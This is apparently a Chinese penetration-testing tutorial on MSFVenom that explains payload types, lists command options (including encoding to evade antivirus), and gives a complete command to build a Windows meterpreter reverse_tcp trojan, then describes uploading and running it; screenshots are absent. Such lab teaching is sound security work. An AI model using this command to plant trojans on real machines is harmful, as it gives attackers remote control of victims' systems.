一、MsfVenom功能介绍
常用于生成木马,在目标机器上执行,在本地机器kali中上线,与反弹Shell类似。 MSFVenom可以生成两种类型的攻击载荷:
payload:生成一个可执行文件来传输给目标并运行,以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。生成的可执行文件一般为:Windows:exe和Linux:elf。
shellcode:是Payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令(二进制)。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。一般是二进制文件。
二、攻击载荷分类
1、Single类
它是一种完全独立的payload,因此使用起来像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件,但是由于是完全独立的,所以它生成的payload一般会非常的大。
2、Stager
该类payload主要负责为攻击机和目标主机建立一个网络连接的通道。它拥有两种常见的payload,一是reverse_tcp(反向连接),让目标主机主动连接攻击机。二是bind_tcp(正向连接),让目标主机开放一个端口,让攻击机主动连接目标主机,一般用于渗透内网主机。
3、Stage
Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
4、payload格式
Single Payload的格式为:<target>/<single> 如:windows/powershell_bind_tcp
Stager/Stage Payload的格式为:<target>/<stage>/<stager> 如:windows/meterpreter/reverse_tcp
三、木马创建
1、命令介绍
-p, --payload 指定需要使用的payload。使用自定义的payload,请使用-;或者stdin指定
-l, --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled 为payload预先指定一个NOP滑动长度
-f, --format 指定输出格式
-e, --encoder 指定需要使用的编码器,如xor等
-a, --arch 指定payload的目标架构 x64 x86
-–platform 指定payload的目标平台
-s, --space 设定有效攻击荷载的最大长度
-b, --bad-chars 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, --iterations 指定payload的编码次数,绕杀毒
-c, --add-code 指定一个附加的win32 shellcode文件
-x, --template 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, --out 将payload保存到指定的文件路径
-v, --var-name 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload要查看支持哪些平台,使用参数:msfvenom --list platforms,支持哪些输出格式,--list formats,以此类推
2、windows反向木马
(1)生成命令:
通过上述的理论介绍和使用方法解释来生产window的反向木马,命令如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=开放端口的主机ip lport=开放端口 -f exe -o msf_reverse_tcp_64.exe
#由于是反向连接,所以是攻击机(kali)开放5555(自定义)端口。
在kali上操作如图:
(2)kali开启监听:
(4)上传木马并运行:
反向连接木马验证成功:
可根据上述window反向连接木马的操作为例子来自行对linux进行操作,验证linux的反向连接木马的制作与执行。
对于正向连接木马的制作与实验,在后续内网渗透的实验中再进行制作与使用,需要搭配端口转发或反向代理来实现对内网主机的控制。